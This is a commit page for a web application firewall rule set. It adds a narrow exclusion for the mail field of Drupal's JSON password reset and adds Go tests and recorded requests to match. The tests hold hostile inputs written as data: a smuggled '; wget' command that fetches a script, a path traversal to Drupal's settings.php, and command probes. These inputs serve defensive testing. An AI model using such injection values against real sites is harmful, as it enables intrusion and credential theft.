Core Rule Set: Drupal's JSON password reset takes an address (closes #262)
check / check (push) Successful in 11m19s
check / check (push) Successful in 11m19s
POST /user/password?_format=json with a mail of python3@example.com or powershell@example.com was refused while bodies are read. On that path, the JSON field mail now skips 932120 and 932260, the two rules the recorded addresses set off, unless the query has a json.mail parameter. Recorded from Drupal 11.4.11. Model: opus-5-5
This commit is contained in:
1 parent
c1bb813a5e
commit
133f6281e1
4 files changed
+59
-1
No files matched your search
@@ -977,6 +977,7 @@ requests. The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||||
- `name` when resetting a password through Drupal's JSON format on
|
- `name` when resetting a password through Drupal's JSON format on
|
||||||
`/user/password`, for the same four rules.
|
`/user/password`, for the same four rules.
|
||||||
|
- `mail` in that same reset, for 932120 and 932260 only.
|
||||||
- `name` when signing up, editing an account and commenting without an
|
- `name` when signing up, editing an account and commenting without an
|
||||||
account, for the same four rules.
|
account, for the same four rules.
|
||||||
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
||||||
|
|||||||
@@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||||
|
|
||||||
|
# The same reset may name the account by its address in the JSON field mail:
|
||||||
|
# POST /user/password?_format=json with a mail of python3@example.com. An
|
||||||
|
# address skips only the two rules the recorded addresses set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||||
|
"id:900818,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||||
@@ -183,14 +183,34 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
`; wget http://example.com/x.sh`,
|
`; wget http://example.com/x.sh`,
|
||||||
`../../sites/default/settings.php`,
|
`../../sites/default/settings.php`,
|
||||||
} {
|
} {
|
||||||
|
for _, field := range []string{"name", "mail"} {
|
||||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
body := `{"name":"` + attack + `"}`
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses ls -la, and 930120, which
|
||||||
|
// refuses system file names.
|
||||||
|
for _, kept := range []struct {
|
||||||
|
value string
|
||||||
|
rule int
|
||||||
|
}{
|
||||||
|
{"ls -la", 932250},
|
||||||
|
{".htaccess@example.com", 930120},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
|
body := `{"mail":"` + kept.value + `"}`
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
||||||
|
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
||||||
@@ -357,6 +377,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||||
|
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
|
body := `{"mail":"` + address + `"}`
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score >= drupalThreshold {
|
||||||
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||||
@@ -436,4 +466,17 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// So does the JSON field mail.
|
||||||
|
for _, target := range []string{
|
||||||
|
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
||||||
|
"/user/register?_format=json",
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
||||||
|
if got.Score < drupalThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -412,6 +412,11 @@
|
|||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
|
||||||
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||||
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||||
|
|||||||
Reference in new issue
Block a user